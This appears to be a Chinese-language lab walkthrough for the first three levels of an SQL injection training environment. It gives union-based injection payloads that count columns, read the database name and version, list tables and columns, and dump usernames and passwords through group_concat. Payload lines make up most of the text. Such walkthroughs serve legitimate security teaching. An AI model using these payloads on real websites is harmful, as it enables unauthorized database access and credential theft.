MySQL数据库5.0以上版本有一个默认的数据库information_schema,存放着所有数据库的信息(比如表名、 列名、对应权限等),该数据库下面有两个表:tables和columns。tables表存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。columns表的提供了关于表中的列的信息,包括表有多少列、每个列的类型等,并详细表述了某个列属于哪个表。
详细内容见:MySQL information_schema 官方文档
常见的SQL注入思路
第一关
1、判断注入点和注入类型
输入?id=1
判断是否存在注入点且是否为数字型注入。
输入的数字值不同页面回显内容也不同,可以判断出输入的内容是进入数据库进行查询了
接着用order by 测试列数,如果报错就是超过列数,如果显示正常就是没有超出列数,例如构造?id=1'order by 4 --+
语句测试会报错,说明只有3列数据,此时可以使用联合查询来测试对应字段。
?id=-1'union select 1,2,3--+
2、注入数据库信息和版本信息
database()和version()替代回显部分
?id=-1'union select 1,database(),version()--+
可以看到数据库名为security,版本为5.0.51a-3ubuntu5。
3、注入表名
接下来我们可以尝试注入出表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
该语句的意思是查询information_schema数据库下的tables表,且table_schema字段为security的所有table_name的内容。即查询security数据库中有哪些表。
group_concat()函数的作用是连接所有组中的非NULL的字符串,如果没有非Null的字符串,那么它就会返回Null。简而言之就是返回括号内要查询字段的所有信息
4、注入字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
该语句的意思是查询information_schema数据库下的columns表,且table_users字段内容为users的所有column_name的内容。即查询user表中有哪些字段
注意columns表中也存在table_name字段。
5、获取数据
通过不同的回显字段分别获取到username和password,也可以通过查询两次来获取
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
或
?id=-1' union select 1,2,group_concat(username) from users--+
?id=-1' union select 1,2,group_concat(password) from users--+
又或者我们可以利用id字段来分隔username和password,一次性获取
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
第二关
第二关与第一关是一样的思路,当我们输入?id=1'
时看到报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
您的 SQL 语法有误;检查与您的MySQL服务器版本相对应的手册,了解在第1行的“LIMIT 0,1”附近使用的正确语法
采用不同的闭合方式?id=1"
依然报错,猜测可能为数字型注入,不需要闭合符号。
输入?id=1
,页面回显,接下来就与第一关一致了
?id=1 order by 3--+
?id=-1 union select 1,2,3--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
第三关
第三关与第二关不同的是,无论单引号双引号还是数字型都报错,猜测可能有需要闭合的括号。
接着构造输入语句
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+